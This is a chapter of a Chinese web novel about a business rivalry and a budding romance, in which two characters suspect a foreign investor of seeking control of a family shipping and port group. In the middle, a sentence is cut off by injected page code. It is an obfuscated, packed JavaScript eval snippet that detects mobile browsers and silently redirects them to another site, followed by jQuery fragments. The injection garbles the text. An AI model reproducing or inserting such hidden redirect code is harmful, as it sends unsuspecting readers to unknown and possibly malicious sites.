车里,慕时卿问聂司卓跟那些“叔叔伯伯”们聊得怎么样?
聂司卓没有嘚瑟,像回答教授提问,详细且有条理地做了回复。
慕时卿满意地点点头。
不错,没有枉费他前面的铺垫。
“谢谢你这么帮我。”聂司卓侧身凑过来,目光灼灼,抿起的嘴角边露出两个浅浅的酒窝。
慕时卿看了眼前面专心开车的老刘,用眼神示意聂司卓坐回去。
聂司卓闷闷不乐地挪回身体。
“我也没做什么。”慕时卿等人坐好了才开口说话,那些事对他来说不过是举手之劳,“如果不是你自己有能力,我舞台搭得再好也没有用。”
蒋茂岩和那些聂氏元老都是老江湖,如果不是有真才实学,光凭他一两句赏识的话,根本起不了什么作用。
但他不知道的是,在他看来不足为道的帮助,对聂司卓来说不仅仅是事业上的提携,还填补了其多年来情感上的缺失。
聂司卓看着前方,很认真地说道:“我一定不会辜负你的,总有一天,我也会成为一个对你有帮助的人。”
慕时卿扭头看他,勾了一下嘴角:“但愿如此。”
聂司卓像是想到什么:“我今晚没看到聂远山。”
聂司珵倒是看到了。
“也许是有更重要的事要忙吧。”慕时卿并不觉得奇怪,他也不是每场商业活动都会参加的。
“可刚才我跟聂氏那些人聊天的时候,总感觉他们还有其他可以解决南港资金问题的办法,只是还没定下来。”聂司卓若有所思,“上周末聂远山火急火燎的来找我,想让我说服你不要走重申流程,但这周他都没再来找过我。”
慕时卿抬眼,“他找过你?”
“唔。”聂司卓点头,那晚知道慕时卿为他打过电话警告聂远山后,他就去道谢,没忍住把人亲了,因为不想破坏气氛,所以没提这事。
“我是不是耽误事了?”他有些懊悔。
慕时卿猜,聂远山那么看不上聂司卓,肯定不会好声好气地谈,聂司卓也不是个好脾气的,聂远山说不定是提了什么自以为很优厚的条件作为交换,可聂司卓哪是那么容易打发的,两人必定是谈崩了,聂司卓不告诉他,很大概率是不想影响重审流程。
聂司卓该不会以为,他会因为他改变工作上的决策吧?
“说不说都无所谓,”他冷淡道,“反正也影响不了结果。”
聂司卓以为慕时卿生气了,“我以后有什么会第一时间告诉你。”
慕时卿:“……,倒也不必。”
聂司卓又问:“刚才我说的那个事情要查吗?”
慕时卿手指在膝盖上敲了两下:“我会让人关注一下,不过……”
聂司卓见这个停顿有点久,就问:“不过什么?”
慕时卿摇摇头,“没什么。”
他想说的是,在华国,能一下子拿出那么多资金投资南港项目的,除了慕氏便只剩下银行,可南港在银行本来就已经有几笔巨额贷款,应该没有哪家银行肯越过风控红线再批出足够南港扩建的资金。
但凡事没有绝对,这是三年多前的那场差点让慕氏毁于一旦的数字战,教给他的道理。
他必须慎之又慎,关注一切潜伏于周围的细微动静,将所有危险扼杀于萌芽中。
如果聂远山真的找到除银行之外,可替代慕氏的合作方,他真的要重视起来。
悄无声息的对手,最为致命。
聂司卓看向忽然一言不发的慕时卿,只见慕时卿目光深邃,里面藏着果敢与担当,像一匹于黑夜中独自守护狼群的头狼。
他弯唇笑了笑,时隔多年,他最想成为的还是慕时卿这样的人。
两天后,刚回来上班的杨开阙就给慕时卿带来了内幕消息:“是一家外资投资公司,母公司是米国投行前三的诺威。”
慕时卿皱眉:“外资?”
南港是政府关注项目,外资想进场哪有这么容易,但如果这家外资公司投的不是南港,而是聂氏的其他项目,聂氏就能抽出足够的资金投入到南港的扩建。
可这样一来,聂氏就等于变相是被这家外资控制了。
杨开阙作为业务部的副总,嗅觉也十分敏锐,说出来跟慕时卿一样的见解:“他们是不是想借聂氏在国内立足?”
慕时卿摇摇头:“不,事情可能远不止这么简单。”
杨开阙:“那是……”
“聂氏是国内多个港口的控股人,又经营着几家船舶公司,而贸易战已经打响。”慕时卿点出几个重点。
杨开阙缓缓反应过来,“控制聂氏就等于控制了国内一部分的进出口渠道,你是怀疑,他们的目标不是聂氏,而是国内的整个外贸行业。”
“嗯。”慕时卿点头。
“狼子野心啊!”杨开阙一拍桌子。
“咔嚓。”办公室的门被推开,聂司卓端着一杯咖啡走进来。
“慕总,你该喝咖啡了。”他黑着一张脸将咖啡放到慕时卿面前。
慕时卿:……
这是医生查房吗?什么叫“该喝咖啡了”?
杨开阙一敛方才的愤慨,一双潋滟的桃花左看看右看看,打趣道:“慕总,我怎么不知道你喝咖啡也要定时。”
慕时卿伤脑筋地揉起额角,一视同仁地各瞥了前方两人一眼,“你继续了解情况,越详细越好。”
杨开阙并拢两指放在额角,潇洒地做了个敬礼的动作:“收到。”
聂司卓忍住了翻白眼的动作:花里胡哨!
杨开阙站起来,挑起眼尾,“花里胡哨”地冲聂司卓笑了一下。
聂司卓咬肌轻动,“正儿八经”地回了个假笑。
杨开阙走后,慕时卿端起咖啡喝了一口,“不是说了以后咖啡让周秘书煮吗?”
聂司卓看慕时卿喝了咖啡,知道慕时卿并不生气,于是有点恃宠而骄起来,他将杨开阙坐过的椅子推开,拉过另一张椅子坐下:“你刚刚说,半个小时后让我进来汇报Mr.Q的工作进展,这都超过五分钟了。”
“呵。”慕时卿没好气道,“你的耐心也就五分钟?”
聂司卓气哼哼地别开脸。
如果是等慕时卿的话,多久他都能等,但问题是还有个杨开阙。
杨开阙一看就是个玩咖,那双桃花眼,笑起来要多不正经就多不正经。
“那就是对自己没信心?”慕时卿靠向椅背。
“才不是。”聂司卓被点破,有点炸毛,“我可比他好,你知道的。”
慕时卿目光揶揄地打量聂司卓。
那天酒会结束回到家,聂司卓压着他在门上亲了好久,不但亲嘴,还亲了所有能亲的地方,像是要用自己的味道把他在外面沾染的气味都覆盖掉一样,现在他的衬衣领子下还烙着几枚没有消退的吻痕。
后来他才有些回过味来,是因为他跟陆斯年分别时那个礼节性的拥抱,刺激到了某人的好胜心理。
“既然对自己有信心,就别把谁都当……”他顿了顿。
他本想说“情敌”,但他们的关系似乎还够不上用“情敌”这个词。
“假想敌。”他换了个用词,“而且我不想再三提醒,工作时间,就把心思放在工作上。”
“唔。”聂司卓闷闷的,但还是听话地点了点头,“知道了,那我现在跟你汇报Mr.Q的情况。”
“这个不急,我有另外一件事要问你。”慕时卿摩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232662|181287||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挲了下手指,决定还是单刀直入,“上上个周末,聂远山打电话给你,是不是提了什么交换条件,让你来说服我?”
聂司卓没想到慕时卿会问这个,愣了一下。
慕时卿手掌微微握紧,安静等待了两秒,就听聂司卓回答道:“是,他说只要我能说服你,就把聂司珵3%的股份转给我。”
慕时卿的手一下子松开。
看聂司卓的表情,不像是在说假话。
这还让他挺意外,他本以为聂司卓会否认或者隐瞒,毕竟涉及隐私。
“3%,挺多的,你为什么没答应?”他问道。
他本来只是想通过交换条件的价值,来推测聂远山当时对聂氏投资的紧迫程度,3%足以说明聂远山当时是很需要资金的,但在了解完自己想了解的事情后,他又对聂司卓的想法生出几分好奇心。
“呵,我看不上。”聂司卓说,“3%的股份就想收买我,没这么容易。”
他想要的是整个聂氏。
“而且他精着呢,最后这3%是不是真能到我手上,还不好说。”他继续道,“就算他真打算给,张翠也不会同意的,呵,他们两一直巴不得我把扫地出门。”
慕时卿没想到自己的探究,勾出了对方的伤心事。
他不习惯安慰人,沉默了一下。
聂司卓其实并不为此感到难过,只是想在亲密的人面前发下牢骚,卖下惨,争取得到更多疼爱。
“你是不是查到什么?”他见慕时卿不说话,主动问道,“有没有什么我可以做的?”
慕时卿眸光轻轻一动,问:“如果聂远山继续加码,让你来说服我,加到多少你会答应?”
他不会安慰人,但他可以帮人抢股份啊。
聂司卓一脸“你把我当什么了”的受伤表情:“我才不会为了股份,为难你。”
开玩笑,股份他自己会想办法去争回来,绝对不会搭上慕时卿。
慕时卿揉起额角,换了个说法:“如果我同意以最快的进度推进南港投资审核,你想从聂远山那里拿回多少股份?”
根据刚才分析出来的结果,他必须抢在那个外资公司前,给南港项目投资,因为这不是一个项目或者一个公司的事,而是涉及整个外贸行业,甚至可能会因此影响整个华国的经济。
但,贸然加快审核进度,只会打草惊蛇,而且目的太过明显反而会被人拿捏,他得找个理由作掩饰,聂司卓正好就是那个创造理由的人选。
聂司卓怔住了,一个大胆的猜测冒了出来,慕时卿该不会是心疼他,所以……
“你是因为……”
问题还没问完,慕时卿就抢答道:“不是。”
“哦。”聂司卓掩饰尴尬地轻咳一声,“再加1%,再多我觉得他应该不会答应。”
排除掉慕时卿心疼他这个选项,他已经大概猜出现在的局势。
有人想要跟慕氏抢南港这个投资项目,以慕氏的规模及经营模式,少个项目并没有什么损失,何况南港的管理确实存在诸多问题,如果是单纯有人想要抢项目,慕时卿不一定会这么重视。
那也就是说,来者不善,为了避免产生严重的后果,慕时卿想要抢回项目。
但贸然加快审核进度,会给聂远山一种聂氏迫不及待想要投资的感觉,最后反而会被聂远山和对手拿捏,这是慕时卿绝对不允许的,所以他成了这其中的关键。
由先他去跟聂远山谈条件,拿到股份再来说服慕时卿,慕时卿则假意被他说服,加快审核进度,各取所需,这是个双赢的结果。
“要是觉得为难……”慕时卿开口。
聂司卓没等他说完,就笑着抢答道:“不为难,我很乐意为了你去坑爹。”